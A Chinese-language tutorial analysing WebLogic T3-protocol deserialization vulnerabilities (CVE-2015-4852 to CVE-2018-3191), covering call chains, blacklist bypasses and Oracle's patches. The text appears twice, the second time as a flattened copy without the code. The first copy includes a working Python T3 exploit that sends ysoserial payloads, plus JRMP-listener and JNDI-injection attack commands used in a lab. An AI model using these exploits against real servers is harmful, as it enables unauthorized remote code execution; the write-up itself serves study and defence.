Java安全之Weblogic漏洞分析与利用(上)
字数 2947 2025-08-24 10:10:13

WebLogic T3协议反序列化漏洞分析与利用指南

1. WebLogic简介

Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式,类似于Tomcat、Jboss等中间件。

安装参考

默认配置

  • WebLogic登录界面默认端口是7001
  • 端口修改位置:%weblogic%\user_projects\domains\base_domain\config\config.xml

2. WebLogic反序列化漏洞概述

WebLogic中反序列化漏洞主要分为两种:

  1. 基于T3协议的反序列化漏洞
  2. 基于XML的反序列化漏洞

本文重点分析基于T3协议的反序列化漏洞,相关CVE包括:

  • CVE-2015-4852
  • CVE-2016-0638
  • CVE-2016-3510
  • CVE-2017-3248
  • CVE-2018-2628
  • CVE-2018-2893
  • CVE-2018-3245
  • CVE-2018-3191

3. T3协议漏洞分析

3.1 T3协议基础知识

T3协议概述

  • 在RMI通信过程中,WebLogic使用T3协议而非标准的JRMP协议
  • 特点:
    • 服务端可以持续追踪监控客户端是否存活(心跳机制)
    • 通过一次连接可以传输全部数据包

数据交换过程

  1. 客户端发送版本号等相关信息
  2. 服务端返回服务器相关信息
  3. 客户端发送详细信息
  4. 服务端再发送详细信息
  5. T3协议建立,开始数据传递(类似TCP握手过程)

协议结构

  • 请求包头:包含协议版本号、数据包类型等信息
    t3 12.2.3  // 协议版本
    AS: 255    // 序列化数据容量
    HL: 19     // 协议头长度
    MS: 10000000  // Maximum Segment Size
    
  • 请求体:包含实际的序列化数据,恶意类通常构造在此处

攻击构造

  • 每个T3数据包都包含T3协议头
  • 数据包前4个字节标识数据包长度
  • 序列化数据头部二进制为aced0005
  • 长度标识后的一个字节标识数据包是请求(01)还是响应(02)

3.2 CVE-2015-4852分析

环境搭建
使用QAX-A-Team的Weblogic环境:

git clone https://github.com/QAX-A-Team/WeblogicEnvironment

需要下载对应版本的JDK和Weblogic放入项目目录。

构建并运行Docker:

sudo docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
sudo docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

漏洞复现
使用Python EXP:

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = '../ysoserial-all.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    
    data_len = binascii.a2b_hex(b"00000000")  # 占位
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    flag = binascii.a2b_hex(b"fe010000")
    
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    host = "10.140.32.159"
    port = 33401
    gadget = "Jdk7u21"  # 或"CommonsCollections1"
    command = "touch /tmp/CVE-2015-4852"
    payload = get_payload1(gadget, command)
    exp(host, port, payload)

漏洞分析
关键点在weblogic/rjvm/InboundMsgAbbrev.classreadObject方法:

private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
    int var2 = var1.read();
    switch(var2) {
        case 0:
            return (new ServerChannelInputStream(var1)).readObject();
        case 1:
            return var1.readASCII();
        default:
            throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
    }
}

调用链:

  1. InboundMsgAbbrev$ServerChannelInputStream.readObject()
  2. ObjectInputStream.readNonProxyDesc()
  3. ObjectInputStream.readClassDesc()
  4. ObjectInputStream.readClass()
  5. ObjectInputStream.readObject0()
  6. ObjectInputStream.defaultReadFields()
  7. ObjectInputStream.defaultReadObject()
  8. AnnotationInvocationHandler.readObject()

修复方案
resolveClass方法中增加了黑名单检查:

protected Class resolveClass(ObjectStreamClass descriptor) throws IOException, ClassNotFoundException {
    String className = descriptor.getName();
    if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
        throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
    }
    // ...
}

3.3 CVE-2016-0638分析

绕过补丁的技术
使用StreamMessageImpl类封装恶意payload,绕过黑名单检查。

漏洞复现
使用weblogic_cmd工具:

java -jar weblogic_cmd.jar -H "10.140.32.159" -C "touch /tmp/cve-2016-0638" -B -os linux

漏洞分析
关键点在于StreamMessageImpl.readExternal()方法:

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    super.readExternal(var1);
    byte var2 = var1.readByte();
    byte var3 = (byte)(var2 & 127);
    if(var3 >= 1 && var3 <= 3) {
        switch(var3) {
            case 1:
                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
                BufferInputStream var4 = this.payload.getInputStream();
                ObjectInputStream var5 = new ObjectInputStream(var4);
                // 这里会反序列化payload
                while(true) {
                    this.writeObject(var5.readObject());
                }
            // ...
        }
    }
}

修复方案
StreamMessageImpl.readExternal()中使用FilteringObjectInputStream替代ObjectInputStream,增加了类过滤。

3.4 CVE-2016-3510分析

绕过技术
使用MarshalledObject类封装恶意payload,利用其readResolve()方法触发反序列化。

漏洞分析
MarshalledObject.readResolve()方法:

public Object readResolve() throws IOException, ClassNotFoundException {
    if(this.objBytes == null) {
        return null;
    } else {
        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
        ObjectInputStream var2 = new ObjectInputStream(var1);
        Object var3 = var2.readObject();
        var2.close();
        return var3;
    }
}

修复方案
MarshalledObject.readResolve()中增加黑名单过滤。

3.5 CVE-2017-3248分析

漏洞复现

  1. 启动JRMP监听器:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/cve-2017-3248'
  1. 执行攻击:
python cve-2017-3248.py 127.0.0.1 7001 ysoserial-all.jar 127.0.0.1 9999 JRMPClient

漏洞分析
利用java.rmi.server.RemoteObjectInvocationHandler绕过黑名单,通过JRMP协议触发反序列化。

修复方案
resolveProxyClass方法中过滤java.rmi.registry.Registry

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    for(String intf : interfaces) {
        if(intf.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }
    return super.resolveProxyClass(interfaces);
}

3.6 CVE-2018-2628分析

绕过技术

  1. 去除Proxy包装,直接使用UnicastRef对象
  2. 使用java.rmi.activation.Activator接口替代Registry接口

修复方案
过滤sun.rmi.server.UnicastRef类。

3.7 CVE-2018-2893分析

绕过技术
结合CVE-2016-0638和CVE-2017-3248的技术,使用StreamMessageImpl封装RemoteObjectInvocationHandler

修复方案
JtaTransactionManager的父类AbstractPlatformTransactionManager加入黑名单。

3.8 CVE-2018-3245分析

绕过技术
使用RMIConnectionImpl_StubRemoteObject子类绕过过滤。

修复方案
java.rmi.server.RemoteObject加入黑名单。

3.9 CVE-2018-3191分析

漏洞复现

  1. 启动JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/cve-2018-3191" -A "192.168.155.90"
  1. 执行攻击:
python cve-2018-3191.py 127.0.0.1 7001 weblogic-spring-jndi-10.3.6.0.jar rmi://192.168.155.90:1099/ushw72

漏洞分析
利用JtaTransactionManager的JNDI注入漏洞。

4. 总结

WebLogic T3协议反序列化漏洞的演变过程展示了安全攻防的持续对抗:

  1. 从最初的直接反序列化漏洞(CVE-2015-4852)
  2. 到使用各种封装类绕过黑名单(StreamMessageImpl、MarshalledObject)
  3. 再到结合JRMP协议和JNDI注入

防御方不断扩展黑名单,攻击方则不断寻找新的可利用类和绕过方式。理解这些漏洞的原理和演变过程,有助于更好地防御类似的安全威胁。

5. 参考资源

  1. WebLogic反序列化漏洞分析
  2. WebLogic T3协议分析
  3. CVE-2016-0638分析
  4. CVE-2017-3248分析
  5. WebLogic漏洞梳理
WebLogic T3协议反序列化漏洞分析与利用指南 1. WebLogic简介 Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式,类似于Tomcat、Jboss等中间件。 安装参考 : Windows安装教程: https://www.cnblogs.com/xrg-blog/p/12779853.html Linux安装教程: https://www.cnblogs.com/vhua/p/weblogic_ 1.html 默认配置 : WebLogic登录界面默认端口是7001 端口修改位置: %weblogic%\user_projects\domains\base_domain\config\config.xml 2. WebLogic反序列化漏洞概述 WebLogic中反序列化漏洞主要分为两种: 基于T3协议的反序列化漏洞 基于XML的反序列化漏洞 本文重点分析基于T3协议的反序列化漏洞,相关CVE包括: CVE-2015-4852 CVE-2016-0638 CVE-2016-3510 CVE-2017-3248 CVE-2018-2628 CVE-2018-2893 CVE-2018-3245 CVE-2018-3191 3. T3协议漏洞分析 3.1 T3协议基础知识 T3协议概述 : 在RMI通信过程中,WebLogic使用T3协议而非标准的JRMP协议 特点: 服务端可以持续追踪监控客户端是否存活(心跳机制) 通过一次连接可以传输全部数据包 数据交换过程 : 客户端发送版本号等相关信息 服务端返回服务器相关信息 客户端发送详细信息 服务端再发送详细信息 T3协议建立,开始数据传递(类似TCP握手过程) 协议结构 : 请求包头:包含协议版本号、数据包类型等信息 请求体:包含实际的序列化数据,恶意类通常构造在此处 攻击构造 : 每个T3数据包都包含T3协议头 数据包前4个字节标识数据包长度 序列化数据头部二进制为 aced0005 长度标识后的一个字节标识数据包是请求(01)还是响应(02) 3.2 CVE-2015-4852分析 环境搭建 : 使用QAX-A-Team的Weblogic环境: 需要下载对应版本的JDK和Weblogic放入项目目录。 构建并运行Docker: 漏洞复现 : 使用Python EXP: 漏洞分析 : 关键点在 weblogic/rjvm/InboundMsgAbbrev.class 的 readObject 方法: 调用链: InboundMsgAbbrev$ServerChannelInputStream.readObject() ObjectInputStream.readNonProxyDesc() ObjectInputStream.readClassDesc() ObjectInputStream.readClass() ObjectInputStream.readObject0() ObjectInputStream.defaultReadFields() ObjectInputStream.defaultReadObject() AnnotationInvocationHandler.readObject() 修复方案 : 在 resolveClass 方法中增加了黑名单检查: 3.3 CVE-2016-0638分析 绕过补丁的技术 : 使用 StreamMessageImpl 类封装恶意payload,绕过黑名单检查。 漏洞复现 : 使用weblogic_ cmd工具: 漏洞分析 : 关键点在于 StreamMessageImpl.readExternal() 方法: 修复方案 : 在 StreamMessageImpl.readExternal() 中使用 FilteringObjectInputStream 替代 ObjectInputStream ,增加了类过滤。 3.4 CVE-2016-3510分析 绕过技术 : 使用 MarshalledObject 类封装恶意payload,利用其 readResolve() 方法触发反序列化。 漏洞分析 : MarshalledObject.readResolve() 方法: 修复方案 : 在 MarshalledObject.readResolve() 中增加黑名单过滤。 3.5 CVE-2017-3248分析 漏洞复现 : 启动JRMP监听器: 执行攻击: 漏洞分析 : 利用 java.rmi.server.RemoteObjectInvocationHandler 绕过黑名单,通过JRMP协议触发反序列化。 修复方案 : 在 resolveProxyClass 方法中过滤 java.rmi.registry.Registry : 3.6 CVE-2018-2628分析 绕过技术 : 去除Proxy包装,直接使用 UnicastRef 对象 使用 java.rmi.activation.Activator 接口替代 Registry 接口 修复方案 : 过滤 sun.rmi.server.UnicastRef 类。 3.7 CVE-2018-2893分析 绕过技术 : 结合CVE-2016-0638和CVE-2017-3248的技术,使用 StreamMessageImpl 封装 RemoteObjectInvocationHandler 。 修复方案 : 将 JtaTransactionManager 的父类 AbstractPlatformTransactionManager 加入黑名单。 3.8 CVE-2018-3245分析 绕过技术 : 使用 RMIConnectionImpl_Stub 等 RemoteObject 子类绕过过滤。 修复方案 : 将 java.rmi.server.RemoteObject 加入黑名单。 3.9 CVE-2018-3191分析 漏洞复现 : 启动JNDI服务: 执行攻击: 漏洞分析 : 利用 JtaTransactionManager 的JNDI注入漏洞。 4. 总结 WebLogic T3协议反序列化漏洞的演变过程展示了安全攻防的持续对抗: 从最初的直接反序列化漏洞(CVE-2015-4852) 到使用各种封装类绕过黑名单(StreamMessageImpl、MarshalledObject) 再到结合JRMP协议和JNDI注入 防御方不断扩展黑名单,攻击方则不断寻找新的可利用类和绕过方式。理解这些漏洞的原理和演变过程,有助于更好地防御类似的安全威胁。 5. 参考资源 WebLogic反序列化漏洞分析 WebLogic T3协议分析 CVE-2016-0638分析 CVE-2017-3248分析 WebLogic漏洞梳理